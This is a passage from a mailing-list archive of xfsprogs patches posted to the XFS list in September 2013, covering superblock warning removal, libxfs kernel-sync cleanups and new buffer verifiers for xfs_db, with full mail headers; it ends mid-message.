Sun, 29 Sep 2013 20:15:59 -0700 (PDT) X-ASG-Debug-ID: 1380510952-04cbb02c3e1591df0004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id f1JgGBaSxwiHh5uo for ; Sun, 29 Sep 2013 20:15:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBVYzCBgxOQMbGYgFvAyPboQMA6l4gzYqgS4k Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Pk-Fj for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Ha-EO for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 32/32] xfsprogs: kill experimental warnings for v5 filesystems Date: Mon, 30 Sep 2013 13:15:44 +1000 X-ASG-Orig-Subj: [PATCH 32/32] xfsprogs: kill experimental warnings for v5 filesystems Message-Id: <1380510944-8571-33-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510958 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner With xfsprogs now being close to feature complete on v5 filesystems, remove the experimental warnings from the superblock verifier. This means that we don't need to filter such warnings from the output in xfstests and so we can see exactly what tests are failing due to code deficiencies rather than from detecting warning noise. Signed-off-by: Dave Chinner --- libxfs/xfs_sb.c | 4 ---- 1 file changed, 4 deletions(-) diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index 8b90b88..6febcb3 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -180,10 +180,6 @@ xfs_mount_validate_sb( * write validation, we don't need to check feature masks. */ if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { - xfs_alert(mp, -"Version 5 superblock detected. xfsprogs has EXPERIMENTAL support enabled!\n" -"Use of these features is at your own risk!"); - if (xfs_sb_has_compat_feature(sbp, XFS_SB_FEAT_COMPAT_UNKNOWN)) { xfs_warn(mp, -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DB34F7FA7 for ; Sun, 29 Sep 2013 22:15:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD1B1304053 for ; Sun, 29 Sep 2013 20:15:59 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b780008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id hPWlAL6T0ZoubNtN for ; Sun, 29 Sep 2013 20:15:57 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDqXiDNiqBLiQ Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006P2-5I for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002GI-4G for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 16/32] libxfs: Minor cleanup and bug fix sync Date: Mon, 30 Sep 2013 13:15:28 +1000 X-ASG-Orig-Subj: [PATCH 16/32] libxfs: Minor cleanup and bug fix sync Message-Id: <1380510944-8571-17-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510957 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner These bring all the small single line comment, whitespace and minor code differences into sync with the kernel code. Anything left at this point is an intentional difference. Signed-off-by: Dave Chinner --- include/xfs_fs.h | 4 ++-- include/xfs_quota_defs.h | 4 ++++ libxfs/xfs_attr_leaf.c | 4 +--- libxfs/xfs_bmap.c | 6 +++--- libxfs/xfs_bmap_btree.c | 2 +- libxfs/xfs_dir2_leaf.c | 1 - libxfs/xfs_dir2_node.c | 2 +- libxfs/xfs_ialloc.c | 4 ++-- libxfs/xfs_inode_buf.c | 2 ++ libxfs/xfs_inode_fork.c | 5 +++-- libxfs/xfs_trans_resv.c | 2 +- 11 files changed, 20 insertions(+), 16 deletions(-) diff --git a/include/xfs_fs.h b/include/xfs_fs.h index 53e33c2..18272c7 100644 --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -357,7 +357,7 @@ typedef struct xfs_error_injection { * Speculative preallocation trimming. */ #define XFS_EOFBLOCKS_VERSION 1 -struct xfs_eofblocks { +struct xfs_fs_eofblocks { __u32 eof_version; __u32 eof_flags; uid_t eof_uid; @@ -515,7 +515,7 @@ typedef struct xfs_swapext /* XFS_IOC_GETBIOSIZE ---- deprecated 47 */ #define XFS_IOC_GETBMAPX _IOWR('X', 56, struct getbmap) #define XFS_IOC_ZERO_RANGE _IOW ('X', 57, struct xfs_flock64) -#define XFS_IOC_FREE_EOFBLOCKS _IOR ('X', 58, struct xfs_eofblocks) +#define XFS_IOC_FREE_EOFBLOCKS _IOR ('X', 58, struct xfs_fs_eofblocks) /* * ioctl commands that replace IRIX syssgi()'s diff --git a/include/xfs_quota_defs.h b/include/xfs_quota_defs.h index e6b0d6e..b3b2b10 100644 --- a/include/xfs_quota_defs.h +++ b/include/xfs_quota_defs.h @@ -154,4 +154,8 @@ typedef __uint16_t xfs_qwarncnt_t; (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) #define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) +extern int xfs_dqcheck(struct xfs_mount *mp, xfs_disk_dquot_t *ddq, + xfs_dqid_t id, uint type, uint flags, char *str); +extern int xfs_calc_dquots_per_chunk(struct xfs_mount *mp, unsigned int nbblks); + #endif /* __XFS_QUOTA_H__ */ diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index c09b0f3..fd52397 100644 --- a/libxfs/xfs_attr_leaf.c +++ b/libxfs/xfs_attr_leaf.c @@ -599,7 +599,7 @@ xfs_attr_shortform_getvalue(xfs_da_args_t *args) xfs_attr_sf_entry_t *sfe; int i; - ASSERT(args->dp->i_d.di_aformat == XFS_IFINLINE); + ASSERT(args->dp->i_afp->if_flags == XFS_IFINLINE); sf = (xfs_attr_shortform_t *)args->dp->i_afp->if_u1.if_data; sfe = &sf->list[0]; for (i = 0; i < sf->hdr.count; @@ -909,7 +909,6 @@ out: return error; } - /*======================================================================== * Routines used for growing the Btree. *========================================================================*/ @@ -1270,7 +1269,6 @@ xfs_attr3_leaf_compact( ichdr_dst->freemap[0].size = ichdr_dst->firstused - ichdr_dst->freemap[0].base; - /* write the header back to initialise the underlying buffer */ xfs_attr3_leaf_hdr_to_disk(leaf_dst, ichdr_dst); diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 7336abf..3e80c64 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -510,8 +510,8 @@ xfs_bmap_trace_exlist( /* * Validate that the bmbt_irecs being returned from bmapi are valid - * given the callers original parameters. Specifically check the - * ranges of the returned irecs to ensure that they only extent beyond + * given the caller's original parameters. Specifically check the + * ranges of the returned irecs to ensure that they only extend beyond * the given parameters if the XFS_BMAPI_ENTIRE flag was set. */ STATIC void @@ -1515,7 +1515,7 @@ xfs_bmap_first_unused( } /* - * Returns the file-relative block number of the last block + 1 before + * Returns the file-relative block number of the last block - 1 before * last_block (input value) in the file. * This is not based on i_size, it is based on the extent records. * Returns 0 for local files, as they do not have extent records. diff --git a/libxfs/xfs_bmap_btree.c b/libxfs/xfs_bmap_btree.c index 2f6b48a..6211dc2 100644 --- a/libxfs/xfs_bmap_btree.c +++ b/libxfs/xfs_bmap_btree.c @@ -737,7 +737,7 @@ xfs_bmbt_verify( * precise. */ level = be16_to_cpu(block->bb_level); - if (level > MAX(mp->m_bm_maxlevels[0], mp->m_bm_maxlevels[1])) + if (level > max(mp->m_bm_maxlevels[0], mp->m_bm_maxlevels[1])) return false; if (be16_to_cpu(block->bb_numrecs) > mp->m_bmap_dmxr[level != 0]) return false; diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index c035c4d..683536e 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -1072,7 +1072,6 @@ xfs_dir3_leaf_compact_x1( *highstalep = highstale; } - /* * Log the bests entries indicated from a leaf1 block. */ diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index 6a245e5..10d1d81 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -1796,7 +1796,7 @@ xfs_dir2_node_addname_int( /* * Look at the current free entry. Is it good enough? * - * The bests initialisation should be where the buffer is read in + * The bests initialisation should be where the bufer is read in * the above branch. But gcc is too stupid to realise that bests * and the freehdr are actually initialised if they are placed * there, so we have to do it here to avoid warnings. Blech. diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 4683287..afe1a82 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -484,7 +484,7 @@ xfs_ialloc_next_ag( /* * Select an allocation group to look for a free inode in, based on the parent - * inode and then mode. Return the allocation group buffer. + * inode and the mode. Return the allocation group buffer. */ STATIC xfs_agnumber_t xfs_ialloc_ag_select( @@ -706,7 +706,7 @@ xfs_dialloc_ag( error = xfs_inobt_get_rec(cur, &rec, &j); if (error) goto error0; - XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + XFS_WANT_CORRUPTED_GOTO(j == 1, error0); if (rec.ir_freecount > 0) { /* diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c index 67d5eb4..b796556 100644 --- a/libxfs/xfs_inode_buf.c +++ b/libxfs/xfs_inode_buf.c @@ -101,6 +101,7 @@ xfs_inode_buf_verify( xfs_inobp_check(mp, bp); } + static void xfs_inode_buf_read_verify( struct xfs_buf *bp) @@ -299,6 +300,7 @@ xfs_dinode_verify( return false; return true; } + void xfs_dinode_calc_crc( struct xfs_mount *mp, diff --git a/libxfs/xfs_inode_fork.c b/libxfs/xfs_inode_fork.c index 1c006f9..190690c 100644 --- a/libxfs/xfs_inode_fork.c +++ b/libxfs/xfs_inode_fork.c @@ -138,7 +138,8 @@ xfs_iformat_fork( } di_size = be64_to_cpu(dip->di_size); - if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { + if (unlikely(di_size < 0 || + di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { xfs_warn(ip->i_mount, "corrupt inode %Lu (bad size %Ld for local inode).", (unsigned long long) ip->i_ino, @@ -444,7 +445,7 @@ xfs_iread_extents( * * The caller must not request to add more records than would fit in * the on-disk inode root. If the if_broot is currently NULL, then - * if we adding records one will be allocated. The caller must also + * if we are adding records, one will be allocated. The caller must also * not request that the number of records go below zero, although * it can go to zero. * diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index 3e14b1c..1e59fad 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -49,7 +49,7 @@ xfs_calc_buf_res( /* * Logging inodes is really tricksy. They are logged in memory format, - * which means that what we write into the log doesn't directory translate into + * which means that what we write into the log doesn't directly translate into * the amount of space they use on disk. * * Case in point - btree format forks in memory format use more space than the -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 762487FAE for ; Sun, 29 Sep 2013 22:15:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 12826AC001 for ; Sun, 29 Sep 2013 20:15:57 -0700 (PDT) X-ASG-Debug-ID: 1380510949-04bdf05387682360006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id JhH2K9YYuny9A6uo for ; Sun, 29 Sep 2013 20:15:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMjgaFdAOpeIM2KoEs Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006PV-As for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002H1-A9 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 25/32] db: add a special attribute buffer verifier Date: Mon, 30 Sep 2013 13:15:37 +1000 X-ASG-Orig-Subj: [PATCH 25/32] db: add a special attribute buffer verifier Message-Id: <1380510944-8571-26-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510955 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Because we only have a single attribute type that is used for all the attribute buffer types, we need to provide a special verifier for the read code. That verifier needs to know all the attribute types and when it find one it knows about, switch to the correct verifier and call it. Signed-off-by: Dave Chinner --- db/attr.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++ db/attr.h | 2 ++ db/type.c | 3 ++- 3 files changed, 55 insertions(+), 1 deletion(-) diff --git a/db/attr.c b/db/attr.c index cd95a0a..359af7b 100644 --- a/db/attr.c +++ b/db/attr.c @@ -25,6 +25,7 @@ #include "attr.h" #include "io.h" #include "init.h" +#include "output.h" static int attr_leaf_entries_count(void *obj, int startoff); static int attr_leaf_hdr_count(void *obj, int startoff); @@ -522,3 +523,53 @@ const field_t attr3_leaf_hdr_flds[] = { { NULL } }; +/* + * Special read verifier for attribute buffers. detect the magic number + * appropriately and set the correct verifier and call it. + */ +static void +xfs_attr3_db_read_verify( + struct xfs_buf *bp) +{ + __be32 magic32; + __be16 magic16; + + magic32 = *(__be32 *)bp->b_addr; + magic16 = ((struct xfs_da_blkinfo *)bp->b_addr)->magic; + + switch (magic16) { + case cpu_to_be16(XFS_ATTR3_LEAF_MAGIC): + bp->b_ops = &xfs_attr3_leaf_buf_ops; + goto verify; + case cpu_to_be16(XFS_DA3_NODE_MAGIC): + bp->b_ops = &xfs_da3_node_buf_ops; + goto verify; + default: + break; + } + + switch (magic32) { + case cpu_to_be32(XFS_ATTR3_RMT_MAGIC): + bp->b_ops = &xfs_attr3_rmt_buf_ops; + break; + default: + dbprintf(_("Unknown attribute buffer type!\n")); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } +verify: + bp->b_ops->verify_read(bp); +} + +static void +xfs_attr3_db_write_verify( + struct xfs_buf *bp) +{ + dbprintf(_("Writing unknown attribute buffer type!\n")); + xfs_buf_ioerror(bp, EFSCORRUPTED); +} + +const struct xfs_buf_ops xfs_attr3_db_buf_ops = { + .verify_read = xfs_attr3_db_read_verify, + .verify_write = xfs_attr3_db_write_verify, +}; diff --git a/db/attr.h b/db/attr.h index 3065372..bc3431f 100644 --- a/db/attr.h +++ b/db/attr.h @@ -33,3 +33,5 @@ extern const field_t attr3_node_hdr_flds[]; extern int attr_leaf_name_size(void *obj, int startoff, int idx); extern int attr_size(void *obj, int startoff, int idx); + +extern const struct xfs_buf_ops xfs_attr3_db_buf_ops; diff --git a/db/type.c b/db/type.c index 2c3431e..04d0d56 100644 --- a/db/type.c +++ b/db/type.c @@ -77,7 +77,8 @@ static const typ_t __typtab_crc[] = { { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, - { TYP_ATTR, "attr3", handle_struct, attr3_hfld, NULL }, + { TYP_ATTR, "attr3", handle_struct, attr3_hfld, + &xfs_attr3_db_buf_ops }, { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, &xfs_bmbt_buf_ops }, { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_crc_hfld, -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0C29F7FB9 for ; Sun, 29 Sep 2013 22:16:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CB9808F8039 for ; Sun, 29 Sep 2013 20:15:59 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id WyyHxdGmQBylOwBP for ; Sun, 29 Sep 2013 20:15:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDqXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Oz-4N for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002GD-3i for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 15/32] libxfs: bring across inode buffer readahead verifier changes Date: Mon, 30 Sep 2013 13:15:27 +1000 X-ASG-Orig-Subj: [PATCH 15/32] libxfs: bring across inode buffer readahead verifier changes Message-Id: <1380510944-8571-16-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510957 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner These were made for log recovery readahead in the kernel, so are not directly used in userspace. Hence bringing the change across is simply to keep files in sync. Signed-off-by: Dave Chinner --- libxfs/xfs_inode_buf.c | 41 ++++++++++++++++++++++++++++++++++++----- 1 file changed, 36 insertions(+), 5 deletions(-) diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c index b096f77..67d5eb4 100644 --- a/libxfs/xfs_inode_buf.c +++ b/libxfs/xfs_inode_buf.c @@ -46,9 +46,22 @@ xfs_inobp_check( } #endif +/* + * If we are doing readahead on an inode buffer, we might be in log recovery + * reading an inode allocation buffer that hasn't yet been replayed, and hence + * has not had the inode cores stamped into it. Hence for readahead, the buffer + * may be potentially invalid. + * + * If the readahead buffer is invalid, we don't want to mark it with an error, + * but we do want to clear the DONE status of the buffer so that a followup read + * will re-read it from disk. This will ensure that we don't get an unnecessary + * warnings during log recovery and we don't get unnecssary panics on debug + * kernels. + */ static void xfs_inode_buf_verify( - struct xfs_buf *bp) + struct xfs_buf *bp, + bool readahead) { struct xfs_mount *mp = bp->b_target->bt_mount; int i; @@ -69,6 +82,11 @@ xfs_inode_buf_verify( if (unlikely(XFS_TEST_ERROR(!di_ok, mp, XFS_ERRTAG_ITOBP_INOTOBP, XFS_RANDOM_ITOBP_INOTOBP))) { + if (readahead) { + bp->b_flags &= ~XBF_DONE; + return; + } + xfs_buf_ioerror(bp, EFSCORRUPTED); XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, mp, dip); @@ -87,14 +105,21 @@ static void xfs_inode_buf_read_verify( struct xfs_buf *bp) { - xfs_inode_buf_verify(bp); + xfs_inode_buf_verify(bp, false); +} + +static void +xfs_inode_buf_readahead_verify( + struct xfs_buf *bp) +{ + xfs_inode_buf_verify(bp, true); } static void xfs_inode_buf_write_verify( struct xfs_buf *bp) { - xfs_inode_buf_verify(bp); + xfs_inode_buf_verify(bp, false); } const struct xfs_buf_ops xfs_inode_buf_ops = { @@ -102,6 +127,12 @@ const struct xfs_buf_ops xfs_inode_buf_ops = { .verify_write = xfs_inode_buf_write_verify, }; +const struct xfs_buf_ops xfs_inode_buf_ra_ops = { + .verify_read = xfs_inode_buf_readahead_verify, + .verify_write = xfs_inode_buf_write_verify, +}; + + /* * This routine is called to map an inode to the buffer containing the on-disk * version of the inode. It returns a pointer to the buffer containing the @@ -191,7 +222,7 @@ xfs_dinode_from_disk( to->di_ino = be64_to_cpu(from->di_ino); to->di_lsn = be64_to_cpu(from->di_lsn); memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); - platform_uuid_copy(&to->di_uuid, &from->di_uuid); + uuid_copy(&to->di_uuid, &from->di_uuid); } } @@ -237,7 +268,7 @@ xfs_dinode_to_disk( to->di_ino = cpu_to_be64(from->di_ino); to->di_lsn = cpu_to_be64(from->di_lsn); memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); - platform_uuid_copy(&to->di_uuid, &from->di_uuid); + uuid_copy(&to->di_uuid, &from->di_uuid); to->di_flushiter = 0; } else { to->di_flushiter = cpu_to_be16(from->di_flushiter); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E7B1E7F98 for ; Sun, 29 Sep 2013 22:16:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D97BC8F8035 for ; Sun, 29 Sep 2013 20:16:00 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b780009-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id yPHOCwhHYpPyM7af for ; Sun, 29 Sep 2013 20:15:59 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBVYzCBgxOQMbGYgFvAyPboQMA6l4gzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:52 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006PW-BQ for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002H6-Ai for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 26/32] db: re-enable write support for v5 filesystems. Date: Mon, 30 Sep 2013 13:15:38 +1000 X-ASG-Orig-Subj: [PATCH 26/32] db: re-enable write support for v5 filesystems. Message-Id: <1380510944-8571-27-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510959 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner As we can now verify and recalculate CRCs on IO, we can modify the on-disk structures without corrupting the filesyste, This makes it safe to turn write support on for v5 filesystems for the 